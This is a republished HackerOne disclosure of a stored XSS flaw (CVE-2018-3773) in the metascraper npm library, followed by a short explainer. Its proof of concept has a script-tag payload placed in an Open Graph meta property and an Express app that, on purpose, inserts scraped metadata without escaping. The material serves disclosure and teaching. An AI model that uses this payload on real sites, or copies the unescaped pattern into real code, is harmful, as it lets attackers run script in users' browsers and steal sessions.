Skip to content
XSS Disclosed report Beginner CVE-2018-3773

[metascraper] Stored XSS in Open Graph meta properties read by metascrapper

The metascraper library does not sanitise Open Graph metadata it extracts, so an attacker can embed HTML or JavaScript in a meta property. If a developer inserts the scraped metadata directly into a web page, the malicious code executes in the context of that page.

bl4de Follow

Originally disclosed on HackerOne

Critical 9.6 View original
  • Triaged in 6 days
  • Fixed in 2 months
  • Disclosed after 2 months

Hi Guys,

metascrapper is vulnerable to Stored XSS via Open Graph metadata, if they are used in HTML without any sanitization.

Module:

A library to easily scrape metadata from an article on the web using Open Graph metadata, regular HTML metadata, and series of fallbacks.

https://www.npmjs.com/package/metascraper

Description

Due to lack of HTML sanitization, there is possibility to embed malicious code in any of metadata read by metascrapper. When library reads such metadata, there is no sanitization performed. If output from metascrapper is used directly in HTML code, any HTML embed in metadata is executed in context of the page which load and render it.

Steps To Reproduce:

This part of PoC represents An Attacker

An attacker needs to inject malicious code into any of Open Graph property.

  • create website (I serve it via static server available at http://127.0.0.1:8080) witt the following content. Please take a look at payload embed in og:site_name meta property:
HTML
<!doctype html>
<html xmlns:og="http://ogp.me/ns#" lang="en">

<head>
    <meta charset="utf8">
    <title>metascraper</title>

    <meta property="og:description" content="The HR startups go to war.">
    <meta property="og:image" content="image">
    <meta property="og:site_name" content='<script src="http://127.0.0.1:8080/malware.js"></script>'>
    <meta property="og:title" content="test article">
    <meta property="og:type" content="article">
    <meta property="og:url" content="http://127.0.0.1:8080">
</head>

<body>
</body>
</html>
  • save it as article.html in the root directory of the server runs on http://127.0.0.1:8080.

  • create malware.js file with following content and save it in the same directory as article.html:

alert('Uh oh, I am very bad malware!')

Please be aware that JavaScript file with malicious code can be served from ANY place. This particular location is only for Poc.

This represents an HTML page which can be "scrapped" with metascrapper

This part of PoC represents legitimate User and an attack itself

  • install metascrapper and required dependiences (got and express)
$ npm install metascrapper got express
  • create an app which will use metascrapper to read webiste metadata. 127.0.0.1:8888 is address of server which uses metascrapper. http://127.0.0.1:8080/article.html is target website, where from metadata will be read:
JavaScript

const metascraper = require('metascraper')
const got = require('got')
const express = require('express')

const targetUrl = 'http://127.0.0.1:8080/article.html'

const app = express()

app.get('/scrap', function(req, res) {;
    (async() => {
        const {
            body: html,
            url
        } = await got(targetUrl)
        const metadata = await metascraper({
            html,
            url
        })
        console.log(metadata)  // see returned metadata in console:
        /*
            { author: null,
                date: null,
                description: 'The HR startups go to war.',
                image: 'http://127.0.0.1:8080/image',
                lang: 'en',
                logo: null,
                publisher: '<script src="http://127.0.0.1:8080/malware.js"></script>',
                title: 'test article',
                url: 'http://127.0.0.1:8080/article.html' }
        */
        // display content of metadata.publisher in the browser
        let __html = `
            <div>
                <p>site title: ${metadata.title}</p>
                <p>site publisher: ${metadata.publisher}</p>
            </div>
        `
        res.send(__html)
    })()
})

app.listen(8888, () => console.log('Example app listening on port 8888!'))
  • run above app:
$ node app.js
  • go to http://127.0.0.1:8888/scrap

  • malicious JavaScript code embed in site metadata og:site_name is executed:

1.png
1.png From the original on HackerOne

As we can notice, our payload was displayed in the source page "as is":

2.png
2.png From the original on HackerOne

Supporting Material/References:

Configuration I've used to find this vulnerability:

  • macOS HighSierra 10.13.3
  • node 8.9.3
  • npm 5.5.1
  • curl 7.54.0

Wrap up

I hope this report will help to keep Node ecosystem more safe. If you have any questions about any details of this finding, please let me know in comment.

Thank you

Regards,

Rafal 'bl4de' Janicki

Impact

Although this is quite hard to exploit in the wild, there is no doubt such attack is possible. This might lead to malware distribution, session cookies from infected websites leaks, run cryptocurrency miners in users' browsers and many more attacks.

The original report as published on HackerOne, by bl4de. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

The library returns metadata values without sanitising them, and the example application inserts those values into HTML without escaping.

Impact

If a developer uses the scraped metadata without escaping, an attacker could execute JavaScript in visitors' browsers, leading to malware distribution, session cookie theft, or cryptocurrency mining.

What the attacker needed

Attacker controls a website; victim app uses metascraper; victim app inserts metadata unescaped

How it was found

  1. Create a web page with a script tag in an Open Graph meta property.
  2. Host the page and a malicious JavaScript file on a server.
  3. Build a Node.js app that uses metascraper to fetch and parse the page.
  4. In the app, insert the scraped metadata into an HTML response without escaping.
  5. Run the app and visit the endpoint that triggers the scraping.
  6. Observe that the script from the metadata executes in the browser.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

When a website shows a preview of a link, it often reads metadata from the linked page. This library reads that metadata but does not clean it. If the website puts the metadata into its own page without cleaning, any code hidden in the metadata will run in the visitor's browser.

What is XSS?

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.

More by bl4de

View all

42 more disclosed reports, best first.

More from Node.js third-party modules

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Cross-site scripting (XSS)

The lesson behind this report.

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.